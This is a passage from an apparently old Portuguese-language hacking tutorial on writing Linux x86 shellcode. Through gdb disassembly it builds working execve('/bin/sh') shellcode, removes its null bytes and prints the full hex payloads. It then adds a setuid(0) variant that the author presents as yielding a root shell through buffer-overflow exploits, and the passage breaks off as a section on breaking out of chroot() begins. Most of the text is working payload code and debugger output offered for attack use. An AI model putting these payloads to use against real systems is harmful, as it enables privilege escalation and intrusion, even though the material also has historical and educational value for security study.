0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx Aqui copia o endereco de exit, propriamente dito.Por que isso?? Veremos porque logo abaixo.quando virmos algumas linhas de main(). 0x80483f0 <_exit+12>: int $0x80 Muda para o modo kernel. Disassemblando main, teremos: (gdb) disassemble main Dump of assembler code for function main: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : push $0x0 0x8048155 : call 0x804829c 0x804815a : add $0x4,%esp 0x804815d : lea 0x0(%esi),%esi 0x8048160 : mov %ebp,%esp 0x8048162 : pop %ebp 0x8048163 : ret End of assembler dump. O que nos interessa para entendermos a linha <_exit+9> do codigo asm de exit() eh somente o seguinte: 0x8048153 : push $0x0 0x8048155 : call 0x804829c Como o Stack pega os argumento de tras para frente, na linha do nosso programa saida.c: exit(0), em asm teremos: push $0x0 -> Empurra 0 sobre o Stack. call exit -> Chama a funcao exit(). Isso tudo fica armazenado em: 0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx Eis aih o porque. Quanto a usarmos 0 em exit(), eh somente porque a maioria dos programas retornam 0 na saida para indicar que nao possui erros.Se tiver acesso ao codigo fonte dos programas, verifique, porque isso pode muito bem mudar. Como necessitamos inserir uma saida limpa(caso execve() falhe), descrita no exemplo acima, nossos passos em busca de um shellcode eficiente mudam. Teremos entao agora: 1. Ter a string "/bin/sh" terminada nula em algum lugar na memoria. 2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido por uma word null long. 3. Copiar 0xb sobre o registrado EAX. 4. Copiar o endereco do endereco da string "/bin/sh" sobre o registrado EBX. 5. Copiar o endereco da string "/bin/sh" sobre o registrado ECX. 6. Copiar o endereco da null word long sobre o registrador EDX. 7. Executar a instrucao int $0x80. * Aqui comeca o exit(). 8. Copiar 0x1 sobre registrado EAX. 9. Copiar 0x0 sobre o registrador EBX. 10.Executar a instrucao $0x80. Como podemos ver, para a funcao exit() nao temos muita coisa,senao tres linhas apenas, expliquei tudo aquilo acima porque quero que voce entenda como a coisa funciona.Nao vejo como saber que necessitamos do passo 9, sem sabermos de onde vem esse 0x0. Lembrando que eh para Newbies que escrevo, nao o termo Newbie do livro "A Internet e os Hackers", onde a unica coisa que escapa neste livro eh a capa, tem um bom ditado para isso: "Nao julgue o livro pela capa!", quando falo Newbies, sao sim pesquisadores, pessoas com espirito com fome de conhecimento, mas que por um motivo ou outro, nao conseguem acesso a material de nivel.Manisfestos a parte, vamos continuando nossa jornada. Sabemos os passos que devemos seguir, entao iremos agora formar esses passos num esquema de codigos asm para facilitar ainda mais nosso aprendizado. O esquema seria mais ou menos o seguinte: movl endereco_da_string, endereco_do_endereco_da_string movb $0x0, endereco_do_byte_nulo movl $0x0, endereco_do_nulo movl $0xb, %eax movl endereco_da_string, %ebx leal endereco_da_string, %ecx leal string_nula, %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh vem aqui. Podemos visualizar que estamos bem proximo de conseguir efetivar nosso shellcode.Mas surge um problema, nos nao sabemos onde no espaco da memoria do programa alvo nos iremos exploitar o codigo(e a string que segue ele serah colocada).Uma possivel solucao para isso, seria usar as instrucoes JMP e CALL para circular nosso codigo.Essas instrucoes podem usar enderecamento IP relativo, que despreza que nos podemos saltar para um offset do IP atual sem necessitar saber o endereco exato de onde na memoria nos queremos saltar.Se colocarmos uma instrucao CALL antes da string "/bin/sh" e uma intrucao JMP para ela(instrucao CALL), o endereco da string serah empurrado sobre o Stack como o endereco de retorno(return address) quando CALL for executado.Exato amigo!! Acontecerah exatamente isto que voce estah imaginando.Mas para isso precisamos copiar o endereco de retorno sobre um registrador, com isso a intrucao CALL pode chamar o inicio de nosso codigo.Veremos agora como ficarah nosso esquema em asm: jmp offset-para-chamar # 2 bytes popl %esi # 1 byte movl %esi, array-offset(%esi) # 3 bytes movb $0x0, nullbyte-offset(%esi) # 4 bytes movl $0x0, null-offset(%esi) # 7 bytes movl $0xb, %eax # 5 bytes movl %esi, %ebx # 2 bytes leal array-offset(%esi), %ecx # 3 bytes leal null-offset(%esi), %edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-para-popl # 5 bytes /bin/sh vem aqui # 5 bytes Analizando bem o esquema acima, veremos algumas mudancas, nao nos conceitos,mas na sintaxe asm propriamente dita, onde (%esi) eh o source index, que se refere ao endereco da memoria onde se encontrarah a nossa string /bin/sh, lembrando amigo, que esse comando descrito no final do esquema acima,mais precisamente na ultima linha(/bin/sh), eh o que queremos executar a partir da shell.Voce poderia e pode, perfeita- mente colocar um comando, como "/bin/ls", para ver que isso se refere somente a um argumento para a execucao de um comando pela shell. Isto torna as coisas claras, no final desse exemplo com /bin/sh, eu acrescentarei alguns possiveis comandos substitutos para essa ultima linha, inclusive alguns exemplo de codigos maliciosos. Abaixo segue uma explicacao simples detalhando o que eh o eskema acima: jmp offset-para-chamar # 3 bytes popl %esi # 1 byte Essas duas novas linhas sao responsaveis pela mudanca.jmp, como dito faz saltar para o endereco, nesse caso offset, declarado em offset-para-chamar. Esse offset eh o endereco de call, apos isso, call chamarah popl %esi.Continuando: movl %esi, array-offset(%esi) # 3 bytes movb $0x0, nullbyte-offset(%esi) # 4 bytes movl $0x0, null-offset(%esi) # 7 bytes movl $0xb, %eax # 5 bytes movl %esi, %ebx # 2 bytes leal array-offset(%esi), %ecx # 3 bytes leal null-offset(%esi), %edx # 3 bytes int $0x80 # 2 bytes Acima segue os nossos passos de 1 a 7, referentes aos codigos de execve(). Continuando: movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes Acima estao os codigos referentes a funcao exit(), descritos nos nossos passos de 8 a 10.Continuando: call offset-para-popl # 5 bytes /bin/sh vem aqui # 8 bytes Aih em cima podemos ver a instrucao call, responsavel por fazer o giro ou circulo.Essa instrucao chama a intrucao popl lah em cima.Voce pode estar se perguntando se esse giro nao seria um loop infinito.Na verdade isso nao acontece, lembrando, estamos trabalhando com assembly, como estamos manipulando enderecos de memoria, o endereco correspondente a instrucao call que eh saltada usando jmp no inicio, nao serah mais chamado, logo nao existe um loop infinito.Acho que as coisas sao mais claras para o pessoal que meche bem com "goto". :) Voce pode recapitular o item 6.4, caso ainda tenha duvida. O grafico abaixo pode ajudar voce a compreender melhor tudo o que estah acontecendo aqui: Parte inferior Topo da Memoria da memoria buffer sfp ret a b c <---- [JJSSSSSSSSCCss] [ssss] [0xD8] [0x01] [0x02] [0x03] ^|^ ^| | |||_______||______________| ||_______|| |________| Topo do Stack Parte inferior do Stack Onde: J -> Refere a intrucao JMP. C -> Refere a instrucao CALL. S -> Codigo asm que queremos executar. s -> Codigo da string que queremos executar ("/bin/sh"). buffer -> Nosso buffer que conterah o shellcode.. sfp -> O frame pointer. --_ Para efeito de ret -> Endereco de retorno. -- overflows A seta indica para onde estah saltando a instrucao. Espero que tudo tenha clareado mais para voce.Em cima disso, podemos calcular os offsets necessarios para jmp saltar para call, de call para popl, do endereco da string para o array, e do endereco da string p/ a word null long. Caso alguem possua duvidas de como se descobrir os offsets, lembro novamente, eh bom aprender mais sobre assembly e praticar as operacoes com sistemas numericos(decimal,hexa e binario)!! Colocarei novamente o codigo para que nao haja duvidas sobre como saber o endereco dos offsets a chamar. jmp offset-para-chamar # 3 bytes popl %esi # 1 byte ------ <--------------- movl %esi, array-offset(%esi) # 3 bytes | | movb $0x0, nullbyte-offset(%esi) # 4 bytes | | movl $0x0, null-offset(%esi) # 7 bytes | | movl $0xb, %eax # 5 bytes | Somando tudo | movl %esi, %ebx # 2 bytes | teremos | leal array-offset(%esi), %ecx # 3 bytes -> 42 bytes | leal null-offset(%esi), %edx # 3 bytes |(0x2a em hexa) | int $0x80 # 2 bytes | | movl $0x1, %eax # 5 bytes | | movl $0x0, %ebx # 5 bytes | | int $0x80 # 2 bytes ______| | call offset-para-popl # 5 bytes --> 42 + 5 = 47(0x2f)--- /bin/sh vem aqui # 8 bytes Seguindo em frente, veremos como nosso codigo ficarah inserindo-o em um programa C, com os respectivos enderecos calculados. Somente observe, nao compile ainda. #include #include void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } Existe um probleminha amigo, para que o nosso codigo funcione, necessitamos declarar ele como uma variavel global, para podermos colocar nosso codigo no Stack ou Segmento Data(onde teremos permissao de escrita) ,transferindo o controle para ele,pois nosso codigo modifica ele mesmo e muitos sistemas operacionais marcam paginas de codigos read-only(soh leitura).Para fazermos isso, necessitamos da representacao hexadecimal do codigo binario.Vejamos abaixo como fazer isso tudo: * Primeiro compilamos o nosso programa acima, usando a seguinte sintaxe na linha de comando: [localhost:/]$gcc -o shell -g -ggdb shell.c * Em seguida executamos o debugador. [localhost:/]$ gdb shell GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) * Agora vem a parte que se exige mais paciencia do fucador.Muita gente acha um saco ter que fazer isso, mas nao tem outro jeito,paciencia amigo.O esquema eh que o debugador nos dirah o codigo hexadecimal correspondente a cada uma da linha de comando.Para fazer isso voce digita o seguinte: (gdb)disassemble main Dump of assembler code for function main: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : jmp 0x804817f 0x8048155 : pop %esi 0x8048156 : mov %esi,0x8(%esi) 0x8048159 : movb $0x0,0x7(%esi) 0x804815d : movl $0x0,0xc(%esi) 0x8048164 : mov $0xb,%eax 0x8048169 : mov %esi,%ebx 0x804816b : lea 0x8(%esi),%ecx 0x804816e : lea 0xc(%esi),%edx 0x8048171 : int $0x80 0x8048173 : mov $0x1,%eax 0x8048178 : int $0x80 0x804817a : call 0x8048150
0x804817f : das 0x8048180 : bound %ebp,0x6e(%ecx) 0x8048183 : das 0x8048184 : jae 0x80481ee <__new_exitfn+54> 0x8048186 : add %cl,0x90c35dec(%ecx) End of assembler dump. Isso voce jah sabe o que faz(mostra codigo asm do nosso programa),agora amigo para saber o codigo hexadecimal de cada um desses comandos, voce terah que digitar o seguinte " x/xb " como no esquema abaixo: (gdb) x/xb main+3 0x8048153 : 0xeb (gdb) x/xb main+4 0x8048154 : 0x2a (gdb) x/xb main+5 0x8048155 : 0x5e (gdb) x/xb main+6 0x8048156 : 0x89 . . . (gdb) x/xb main+56 0x8048188 : 0xec (gdb) x/xb main+57 0x8048189 : 0x5d (gdb) x/xb main+58 0x804818a : 0xc3 (gdb) x/xb main+59 0x804818b : 0x90 Voce comecarah com o indice "main+3" e irah ateh quando chegar o hexadecimal "0x90" que corresponde a instrucao NOP, que corresponte a uma instrucao vazia(sem operacao nenhuma), que faz com que o programa siga em frente, como se ela nao existisse (essa linha nao deve entrar no nosso shell code).Caso em outro shellcode feito por voce, isso nao apareca, coloque os hexadecimais ateh a ultima instrucao da funcao main(). Feito tudo isso, voce colocarah todos as linhas do programa em hexa, numa variavel global, como no esquema abaixo: /* Exemplo inicial de shellcode Compile com: $gcc -o shell1 shell1.c */ #include char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } Depois de compilado voce pode executar ele normalmente, como no exemplo abaixo: [localhost:/]$ gcc -o shell1 shell1.c [localhost:/]$./shell1 bash$ exit exit Como podemos ver, ele funciona perfeitamente.Mas vou direcionar agora a solucao de um problema para aqueles que usarao shellcodes em buffer overflows.Nao podemos inserir ele num exploit sem antes tirar-lhe todos os bytes nulos(null bytes).Por que? Leia o tutorial sobre overflows que fiz, em breve na http://unsekurity.virtualave.net ...ele explica o porque disso. Seguindo em frente, para tirarmos os bytes nulos, seguimos o seguinte esquema: Instrucao com null byte Trocar por: ------------------------------------------------------------------------ movb $0x0,0x7(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl $0x0,0xc(%esi) movl %eax,0xc(%esi) ------------------------------------------------------------------------- movl $0xb,%eax movb $0xb,%al ------------------------------------------------------------------------- movl $0x1,%eax xorl %ebx,%ebx movl $0x0,%ebx movl %ebx,%eax inc %eax ------------------------------------------------------------------------- Como podemos ver, nao ha muita coisa para fazermos no intuito de retirar os null bytes.Veremos entao como fica o nosso codigo apos a substituicao dos mesmos: /* Shellcode com sobstituicao dos null bytes */ #include main(){ __asm__(" jmp 0x1f #2 bytes popl %esi #1 byte movl %esi,0x8(%esi) #3 bytes xorl %eax,%eax #2 bytes movb %eax,0x7(%esi) #3 bytes movl %eax,0xc(%esi) #3 bytes movb $0xb,%al #2 bytes movl %esi,%ebx #2 bytes leal 0x8(%esi),%ecx #3 bytes leal 0xc(%esi),%edx #3 bytes int $0x80 #2 bytes xorl %ebx,%ebx #2 bytes movl %ebx,%eax #2 bytes inc %eax #1 byte int $0x80 #2 bytes call -0x24 #5 bytes .string \"/bin/sh\" #8 bytes "); } Compilamos entao usando a seguinte sintaxe: [localhost:/]$gcc -ggdb -static -o shellnova1 shellnova1.c Em seguida usamos o debugador p/ novamente pegarmos o codigo em hexa: [localhost:/]$gdb shellnova1 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb)disassemble main Dump of assembler code for function main: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : jmp 0x8048174 0x8048155 : pop %esi 0x8048156 : mov %esi,0x8(%esi) 0x8048159 : xor %eax,%eax 0x804815b : mov %al,0x7(%esi) 0x804815e : mov %eax,0xc(%esi) 0x8048161 : mov $0xb,%al 0x8048163 : mov %esi,%ebx 0x8048165 : lea 0x8(%esi),%ecx 0x8048168 : lea 0xc(%esi),%edx 0x804816b : int $0x80 0x804816d : xor %ebx,%ebx 0x804816f : mov %ebx,%eax 0x8048171 : inc %eax 0x8048172 : int $0x80 0x8048174 : call 0x8048155 0x8048179 : das 0x804817a : bound %ebp,0x6e(%ecx) 0x804817d : das 0x804817e : jae 0x80481e8 <__new_exitfn+52> 0x8048180 : add %cl,0x90c35dec(%ecx) End of assembler dump. (gdb) x/xb main+3 0x8048153 : 0xeb (gdb) x/xb main+4 0x8048154 : 0x1f (gdb) x/xb main+5 0x8048155 : 0x5e (gdb) x/xb main+6 0x8048156 : 0x89 (gdb) x/xb main+7 0x8048157 : 0x76 (gdb) x/xb main+8 0x8048158 : 0x08 (gdb) x/xb main+9 0x8048159 : 0x31 . . . 0x8048178 : 0xff Podemos perfeitamente parar por aqui e no nosso shellcode no codigo-fonte acrescentarmos a string /bin/sh que se refere ao que queremos executar. Fazendo isso teriamos o seguinte shellcode: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Mas se nos quisermos substituir a string /bin/sh por seu correspondente em hexadecimal, nos devemos continuar pegando os respectivos codigos hexa pelo debugador, ateh encontrarmos uma intrucao nop que corresponderah ao fim da funcao main().Vejamos: Haviamos para em
Continuando: (gdb) x/xb main+41 0x8048179 : 0x2f (gdb) x/xb main+42 0x804817a : 0x62 (gdb) x/xb main+43 0x804817b : 0x69 (gdb) x/xb main+44 0x804817c : 0x6e (gdb) x/xb main+45 0x804817d : 0x2f . . . 0x8048183 : 0x5d (gdb) x/xb main+52 0x8048184 : 0xc3 (gdb) x/xb main+53 0x8048185 : 0x90 (gdb) x/xb main+54 0x8048186 : 0x90 Como podemos ver chegamos ateh a instrucao NOP(0x90), logo nao incluiremos ela em nosso shellcode, devemos entao acrescentar ateh , fazendo entao nosso shellcode ficar assim: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; Feito isso tudo iremos agora inserir nosso exemplo de shellcode dentro de um codigo-fonte C. /* Simples Exemplo de Shellcode com string /bin/sh em hexa Compile com: $gcc -o shellnova2 shellnova2.c */ #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; void main(){ int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } O esquema na linha de comando seria: [localhost:/]$ gcc -o shellnova2 shellnova2.c [localhost:/]$ ./shellnova2 bash$ exit exit Como podemos ver perfeitamente, ele funciona bem como queriamos. Voce que vai usa-lo em buffer overflows,boa sorte!!Lembrando que alguns shellcodes devem ser usados p/ determinada situacao e outros p/ outras situacoes.Use seus neuronios, pense nas formas de ataque, e da necessidade de cada shellcode, vai fundo, nao deixe de estudar,pesquise,descubra!! Como prometido, disponibilizarei agora alguns esquemas que podemos fazer para executar alguns codigos maliciosos em cima deste exemplo descrito acima.Para os codigos que se seguem,tudo que devemos fazer eh substituir simplesmente, o comando "/bin/sh" que queremos executar, no final de nosso shellcode, por outro, de tamanho igual. Vejamos nosso shellcode como estah: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Eh essa string acima "/bin/sh", que estou me referindo, voce pode testar outros comandos inserindo-os no lugar dela,sendo que de tamanho igual, como /bin/ls, /bin/su, /bin/ed e por aih vai. Vejamos alguns exemplos bem praticos: + Simples shellcode para executar um ls; /* Shellcode que executa um ls */ #include /* Apenas trocamos /bin/sh por /bin/ls no final do shellcode */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/ls"; void main() { int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } Compilamos e executamos: [localhost:/]$ gcc -o shels shels.c [localhost:/]$ ./shels exe1.c heap3 shellcode2 exe2 heap3.c shellcode2.c exe2.c mall shellcode2.s exploit.txt mall.c shellcodeasm exploit1 mall1 shellcodeasm.c exploit1.c my shels exploit2 nistir4909 shels.c exploit2.c out.c shelsc exploit3 perlsec.txt shelsc.c exploit3.c review.txt sp exploit4 robust.txt sp.c exploit4.c seculinuxprog sta fake secure_prog_checklist sta.c fake_exp security-holes.txt suid fake_exp.c setuid.7.txt suid.c find sh1 taxonomy.ps full-cve.txt sh1.c testsc fuzz-revisited.ps.Z shel1.c testsc.c heap1 shell1.c vulnerable heap1.c shellcode vulnerable.c Podemos ver que ele funfa(funciona) perfeitamente!!:) Mas voce nao iria estudar e pesquisar muito somente para executar um comando desse tipo..Nao sei mano,vai ver ele pode ser util para alguma coisa remotamente, talvez envolvendo sockets, mas coloquei ele aih para ilustrar de forma clara e simples a alteracao basica de um shellcode.Olhando para o exemplo acima voce pode tirar algumas conclusoes apressadas, como trocar o /bin/sh por /bin/zsh, ou mesmo por /bin/tcsh, ou qualquer outra shell, mas na verdade nao funciona deste modo, teremos sim que ralar para fazermos shellcodes para cada uma delas, o exemplo citada nos da permissao para executarmos alguns comandos(somente alguns) de tamanho igual shell "/bin/sh" ou da que estah linkada para ela, como em muitos sistemas encontramos /bin/bash, que eh o meu caso.Veremos como fazer alguns outros tipos de shell mais abaixo. Para ilutrar e voce poder entender melhor o que estou dizendo, veja o mesmo exemplo acima mas com mais caracteres apos a execucao de ls: /* Exemplo de shellcode, para mostrar que nao faz efeito colocarmos mais caracteres do que o suportado pelo nosso exemplo inicial */ #include #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/lsissoquetahentrandoaquiehparailustrar"; void main() { int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } Compilamos normalmente o exemplo acima, e em seguida executamos: [localhost:/]$ gcc -o ls2.c ls2.c [localhost:/]$ ./ls2 avancadas popshbug.c shell3.c shellt.c teso1sh.s bossh1.c scsh shellba shelltc teso2sh.c bossh1.s scsh.c shellba.c shelltc.c teso2sh.s difshe shec shellc shelltc.s teso3sh.c difshe.c shechroot.c shelln.c shelltcasm teso3sh.s difshe.s shechroot1 shellpron1 shelltcasm.c testshtc ls2 shell shellpron1.c shelltcasm.s testshtc.c ls2.c shell.c shellpron2 shelltcsh trojans passshe.c shell2 shellpron2.c shelt passwd shell2.c shellsetu tcsh.sh popshbug shell3 shellsetu.c teso1sh.c Como podemos ver, nao adiantou nada metermos um monte de caracteres no nosso shellcode, pois ele soh procurou executar somente o tamanho de bytes que fora permitido.Se voce tah querendo saber como solucionar isto, leia a parte 7.4. :) 7.2 SHELLCODE P/ SETUID(0) ---------------------------------------------------- Esse exemplo vai para o pessoal que meche com buffer overflows, vamos inserir o codido do programa abaixo em nosso shellcode inicial, o do /bin/sh; /* Codigo de setuid() */ #include main() { setuid(0); } Compilamos e em seguida executamos gdb; [localhost:/]$ gcc -o setui setui.c -static -ggdb [localhost:/]$ gdb setui GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) Como vamos inserir o codigo, nao precisamos disassemblar main, basta setuid. (gdb) disassemble setuid Dump of assembler code for function setuid: 0x80483e4 : push %ebp 0x80483e5 : mov %esp,%ebp 0x80483e7 : push %ebx 0x80483e8 : mov $0x17,%eax 0x80483ed : mov 0x8(%ebp),%ebx 0x80483f0 : int $0x80 0x80483f2 : mov %eax,%edx 0x80483f4 : test %edx,%edx 0x80483f6 : jge 0x8048408 0x80483f8 : neg %edx 0x80483fa : push %edx 0x80483fb : call 0x8050b0c <__normal_errno_location> 0x8048400 : pop %edx 0x8048401 : mov %edx,(%eax) 0x8048403 : mov $0xffffffff,%eax 0x8048408 : pop %ebx 0x8048409 : mov %ebp,%esp 0x804840b : pop %ebp 0x804840c : ret 0x804840d : nop 0x804840e : nop 0x804840f : nop End of assembler dump. (gdb) O codigo eh enorme, mas voce jah sabe, somente as primeiras 6 linhas nos interessam...abaixo estao elas: 0x80483e4 : push %ebp 0x80483e5 : mov %esp,%ebp 0x80483e7 : push %ebx 0x80483e8 : mov $0x17,%eax 0x80483ed : mov 0x8(%ebp),%ebx 0x80483f0 : int $0x80 Lembrando que queremos somente ateh a instrucao int $0x80, que faz com que nosso programa entre no modo kernel. Traduzindo o que essas 6 linhas representam: 0x80483e4 : push %ebp 0x80483e5 : mov %esp,%ebp 0x80483e7 : push %ebx Procedimento Preludio, ou inicial.Velho esquema, nao iremos inserir essas 3 linhas no nosso codigo por razoes obvias, jah temos um procedimento inicial(preludio) no nosso shellcode. 0x80483e8 : mov $0x17,%eax 0x80483ed : mov 0x8(%ebp),%ebx 0x80483f0 : int $0x80 Essas sim nos interessam, pois sao as responsaveis pela execucao do codigo que nos interessa, neste caso setuid(0).Para nao termos bytes nulos(null bytes), alteramos essas linhas da seguinte forma: Pegamos: Substituimos por: ---------------------- --------------------------- mov $0x17,%eax xorl %eax,%eax mov 0x8(%ebp),%ebx xorl %ebx,%ebx mov $0x17,%al ------------------------------------------------------------------- Deixamos esta como esta: int $0x80 Depois juntado tudo teremos o shellcode para setuid(0), assim: xorl %eax,%eax xorl %ebx,%ebx movb $0x17,%al int $0x80 Acrescentando ele ao inicio de nosso shellcode /bin/sh inicial, teremos: #include main(){ __asm__(" xorl %eax,%eax xorl %ebx,%ebx movb $0x17,%al int $0x80 jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" "); } Depois disso compilamos e executamos o gdb.Lembrando, compile com -static e -ggdb, para nao dar erros. (gdb) disassemble main Dump of assembler code for function main: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : xor %eax,%eax 0x8048155 : xor %ebx,%ebx 0x8048157 : mov $0x17,%al 0x8048159 : int $0x80 0x804815b : jmp 0x804817c 0x804815d : pop %esi 0x804815e : mov %esi,0x8(%esi) 0x8048161 : xor %eax,%eax 0x8048163 : mov %al,0x7(%esi) 0x8048166 : mov %eax,0xc(%esi) 0x8048169 : mov $0xb,%al 0x804816b : mov %esi,%ebx 0x804816d : lea 0x8(%esi),%ecx 0x8048170 : lea 0xc(%esi),%edx 0x8048173 : int $0x80 0x8048175 : xor %ebx,%ebx 0x8048177 : mov %ebx,%eax 0x8048179 : inc %eax 0x804817a : int $0x80 0x804817c : call 0x804815d 0x8048181 : das 0x8048182 : bound %ebp,0x6e(%ecx) 0x8048185 : das 0x8048186 : jae 0x80481f0 <__new_exitfn+52> 0x8048188 : add %cl,0x90c35dec(%ecx) End of assembler dump. Depois vamos na marra pegar a representacao em hexa de todo nosso shellcode. (gdb) x/xb main+3 0x8048153 : 0x31 (gdb) x/xb main+4 0x8048154 : 0xc0 (gdb) x/xb main+5 0x8048155 : 0x31 (gdb) x/xb main+6 0x8048156 : 0xdb (gdb) x/xb main+7 0x8048157 : 0xb0 (gdb) . . . (gdb) x/xb main+56 0x8048188 : 0x00 (gdb) x/xb main+57 0x8048189 : 0x89 (gdb) x/xb main+58 0x804818a : 0xec (gdb) x/xb main+59 0x804818b : 0x5d (gdb) x/xb main+60 0x804818c : 0xc3 (gdb) x/xb main+61 0x804818d : 0x90 Chegamos no tal NOP, aqui paramos. Veremos agora como ele fica inserido no codigo C. /* shellcode setuid(0) em /bin/sh */ #include #include char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; main(){ int *retorno; retorno = (int *)&retorno +2; (*retorno) = (int)shellcode; } Compile normalmente "gcc -o shellsetuid shellsetuid.c".Depois execute, voce verah que ele funcione perfeitamente.Eu coloquei a linha correspondente ao codigo que acrescentamos na primeira linha, para voce visualizar melhor.Voce pode perceber que as instrucoes e seus referentes codigos em hexa depois de "\xcd\x80" (int $0x80) na primeira linha ateh o fim sao identicas ao nosso shellcode inicial.Isso mesmo amigo, voce pode sim somente trabalhar em cima do codigo que quer acrescentar, sem a necessidade de ficar perdendo tempo, principalmente quando quer passar para a representacao dele em hexa, coloquei o esquema acima para que voce vah logo se acostumando, e tambem para que nao haja duvida quanto as instrucoes em representacao hexadecimal.Esse shellcode pode ser usado em programas vulneraveis a buffer overflows, mas que quando exploitados o fazem cair na sua propria shell, colocando setuid(0), voce cairah numa root shell. 7.4 - QUEBRANDO CHROOT() ------------------------- Bem, para quem nao sabe o que eh chroot(), aqui vai uma breve explicacao. chroot() eh uma funcao usada comumente para nao permitir acesso de um usuario a outros diretorios, chroot() seta um diretorio para ser o diretorio raiz do usuario, nao permitindo que ele tenha acesso a outros diretorios "antes" daquele setado.Um exemplo pratico disso, nos vemos quase sempre quando entramos num servidor de ftp como usuario anonymous, nos caimos geralmente dentro do diretorio raiz "/", mas na verdade devemos estar no diretorio "/home/ftp" do servidor em questao.Entao amigos, o que foi feito foi ter setado o diretorio "/home/ftp", atraves da funcao chroot() para fazer com que este diretorio seja o diretorio raiz "/" para um determinado usuario, no nosso caso, anonymous.Mas isso eh bastante comun, vemos isso em servidores de home pages gratuitas, servidore de ftp com acesso via conta, enfim, diversos sao os 